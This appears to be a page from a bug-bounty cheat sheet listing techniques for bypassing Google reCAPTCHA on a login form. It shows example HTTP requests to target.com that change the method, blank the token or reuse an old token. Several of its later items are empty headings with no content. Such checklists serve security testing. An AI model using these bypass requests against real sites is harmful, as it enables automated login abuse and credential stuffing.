Bypass Captcha (Google reCAPTCHA)

  1. Try changing the request method, for example POST to GET

POST / HTTP 1.1
Host: target.com
...

_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123

Change the method to GET

GET /?_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 HTTP 1.1
Host: target.com
...

  1. Try remove the value of the captcha parameter

POST / HTTP 1.1
Host: target.com
...

_RequestVerificationToken=&_Username=daffa&_Password=test123

  1. Try reuse old captcha token

POST / HTTP 1.1
Host: target.com
...

_RequestVerificationToken=OLD_CAPTCHA_TOKEN&_Username=daffa&_Password=test123

  1. Convert JSON data to normal request parameter

Convert to normal request

  1. Try custom header to bypass captcha

  1. Change some specific characters of the captcha parameter and see if it is possible to bypass the restriction.

Try this to bypass

PreviousBypass 429 (Too Many Requests)NextChecklist

Last updated